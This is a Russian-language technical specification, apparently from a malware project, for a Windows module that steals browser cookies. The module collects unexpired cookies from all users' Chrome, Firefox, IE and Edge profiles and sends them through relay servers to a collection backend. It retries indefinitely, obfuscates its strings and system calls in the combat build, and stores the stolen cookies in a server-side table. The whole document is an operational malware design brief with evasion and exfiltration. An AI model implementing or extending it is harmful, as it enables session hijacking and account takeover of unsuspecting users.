You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
102 lines
4.1 KiB
102 lines
4.1 KiB
ТЕХНИЧЕСКОЕ ЗАДАНИЕ НА РАЗРАБОТКУ МОДУЛЯ СБОРА COOKIES БРОУЗЕРОВ
|
|
|
|
ЦЕЛИ И ТРЕБОВАНИЯ
|
|
|
|
Модуль должен собирать куки основных броузеров (Chrome, Firefox, Internet Explorer, Microsoft Edge) и отправлять по протоколу DPOST на сервер.
|
|
Требования к модулю:
|
|
- оформлен в соответствии с правилами разработки модулей
|
|
- единственный конфиг модуля - список прокладок DPOST
|
|
- работает как от имени пользователя, так и от имени SYSTEM
|
|
|
|
ДЕТАЛИ РЕАЛИЗАЦИИ
|
|
|
|
1. Собираются только куки без даты истечения, либо еще не истекшие по времени.
|
|
2. Если модуль работает от SYSTEM, он перебирает всех не-системных пользователей и собирает куки для каждого из них.
|
|
Если модуль работает от обычного пользователя, он собирает куки только для него.
|
|
3. По завершению работы модуль должен дать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
|
|
4. Отправка собранных куки производится до тех пор, пока не будет получен положительный ответ от прокладки.
|
|
Если связи с прокладками нет, модуль засыпает на полчаса, после чего повторяет попытки. До бесконечности.
|
|
5. Модуль отправляет следующие события:
|
|
- "Version build %DATE% %TIME%" (один раз при старте)
|
|
- "Cookies grabbed from <browser name> for user <username>" при успехе сбора
|
|
- "No cookies from <browser name> for user <username>" если у данного броузера нету куки
|
|
- "Cookies sent to server" при успехе отправки на сервер DPOST
|
|
- "Cookies send failure: servers unavailable" при отсутствии доступных серверов DPOST
|
|
6. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
|
|
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
|
|
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
|
|
7. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
|
|
8. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
|
|
9. Модуль должен иметь две версии - x32- и x64-разрядную.
|
|
10. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
|
|
11. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/cookies.log (путь к логу настраивается в макросе).
|
|
12. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
|
|
13. Модуль должен работать на всех современных версиях Windows.
|
|
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
|
|
|
|
|
|
ПРОТОКОЛ DPOST
|
|
|
|
См.документ "ТЗ граб паролей DPOST".
|
|
Относительно данного документа, изменен формат отправки:
|
|
|
|
username|browser|domain|cookie_name|cookie_value|created|expires|path\r\n
|
|
|
|
где
|
|
|
|
username - имя пользователя
|
|
browser - код броузера (enum = chrome|ff|ie|edge)
|
|
domain - домен куки
|
|
cookie_name - имя куки
|
|
cookie_value - значение куки
|
|
created - дата-время создания, Unix time
|
|
expires - дата-время истечения, Unix time
|
|
path - путь URI
|
|
|
|
|
|
КОНФИГ DPOST
|
|
|
|
См.документ "ТЗ граб паролей DPOST".
|
|
Данный конфиг модуль парсит при получении вызова Control("dpost",...)
|
|
|
|
|
|
ЗАДАНИЕ ДЛЯ ДОРАБОТКИ DERO
|
|
|
|
1. Создать новую команду для получения данных куки. Например, код команды 84
|
|
|
|
2. Создать таблицу для хранения данных (псевдокод SQL):
|
|
CREATE TABLE cookies (
|
|
id SERIAL,
|
|
username VARCHAR(255),
|
|
browser VARCHAR(255)
|
|
domain VARCHAR(255)
|
|
cookie_name VARCHAR(255)
|
|
cookie_value VARCHAR(255)
|
|
created DATETIME,
|
|
expires DATETIME,
|
|
path VARCHAR(255)
|
|
);
|
|
|
|
3. Обеспечить прием данных в следующем формате:
|
|
- простой текст, разделенный на строки.
|
|
Разделитель строк - может быть как UNIX, так и DOS.
|
|
Одна строка - одна запись.
|
|
Разделитель полей в записи - вертикальная черта |
|
|
Формат записи:
|
|
|
|
username|browser|domain|cookie_name|cookie_value|created|expires|path\r\n
|
|
|
|
где
|
|
|
|
username - имя пользователя
|
|
browser - код броузера (enum = chrome|ff|ie|edge)
|
|
domain - домен куки
|
|
cookie_name - имя куки
|
|
cookie_value - значение куки
|
|
created - дата-время создания, Unix time
|
|
expires - дата-время истечения, Unix time
|
|
path - путь URI
|
|
|
|
- прием на URI /group/id/84
|
|
по HTTP POST
|
|
Получение данных в поле data
|